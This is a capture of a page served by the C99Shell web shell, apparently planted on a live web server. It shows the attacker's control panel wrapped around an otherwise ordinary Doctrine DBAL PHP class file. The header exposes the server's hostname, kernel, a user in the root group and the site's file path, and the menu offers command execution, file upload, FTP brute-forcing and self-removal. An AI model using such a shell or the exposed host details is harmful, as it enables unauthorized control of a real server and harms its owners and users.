!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/doctrine/dbal/src/Schema/   drwxr-xr-x
Free 28.74 GB of 117.98 GB (24.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UniqueConstraint.php (3.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\DBAL\Schema;

use 
Doctrine\DBAL\Platforms\AbstractPlatform;

use function 
array_keys;
use function 
array_map;
use function 
strtolower;

/**
 * Class for a unique constraint.
 */
class UniqueConstraint extends AbstractAsset implements Constraint
{
    
/**
     * Asset identifier instances of the column names the unique constraint is associated with.
     * array($columnName => Identifier)
     *
     * @var Identifier[]
     */
    
protected $columns = [];

    
/**
     * Platform specific flags.
     * array($flagName => true)
     *
     * @var true[]
     */
    
protected $flags = [];

    
/**
     * Platform specific options.
     *
     * @var mixed[]
     */
    
private array $options;

    
/**
     * @param string[] $columns
     * @param string[] $flags
     * @param mixed[]  $options
     */
    
public function __construct(string $name, array $columns, array $flags = [], array $options = [])
    {
        
$this->_setName($name);

        
$this->options $options;

        foreach (
$columns as $column) {
            
$this->addColumn($column);
        }

        foreach (
$flags as $flag) {
            
$this->addFlag($flag);
        }
    }

    
/**
     * {@inheritDoc}
     */
    
public function getColumns()
    {
        return 
array_keys($this->columns);
    }

    
/**
     * {@inheritDoc}
     */
    
public function getQuotedColumns(AbstractPlatform $platform)
    {
        
$columns = [];

        foreach (
$this->columns as $column) {
            
$columns[] = $column->getQuotedName($platform);
        }

        return 
$columns;
    }

    
/** @return string[] */
    
public function getUnquotedColumns(): array
    {
        return 
array_map([$this'trimQuotes'], $this->getColumns());
    }

    
/**
     * Returns platform specific flags for unique constraint.
     *
     * @return string[]
     */
    
public function getFlags(): array
    {
        return 
array_keys($this->flags);
    }

    
/**
     * Adds flag for a unique constraint that translates to platform specific handling.
     *
     * @return $this
     *
     * @example $uniqueConstraint->addFlag('CLUSTERED')
     */
    
public function addFlag(string $flag): UniqueConstraint
    
{
        
$this->flags[strtolower($flag)] = true;

        return 
$this;
    }

    
/**
     * Does this unique constraint have a specific flag?
     */
    
public function hasFlag(string $flag): bool
    
{
        return isset(
$this->flags[strtolower($flag)]);
    }

    
/**
     * Removes a flag.
     */
    
public function removeFlag(string $flag): void
    
{
        unset(
$this->flags[strtolower($flag)]);
    }

    
/**
     * Does this unique constraint have a specific option?
     */
    
public function hasOption(string $name): bool
    
{
        return isset(
$this->options[strtolower($name)]);
    }

    
/** @return mixed */
    
public function getOption(string $name)
    {
        return 
$this->options[strtolower($name)];
    }

    
/** @return mixed[] */
    
public function getOptions(): array
    {
        return 
$this->options;
    }

    
/**
     * Adds a new column to the unique constraint.
     */
    
protected function addColumn(string $column): void
    
{
        
$this->columns[$column] = new Identifier($column);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--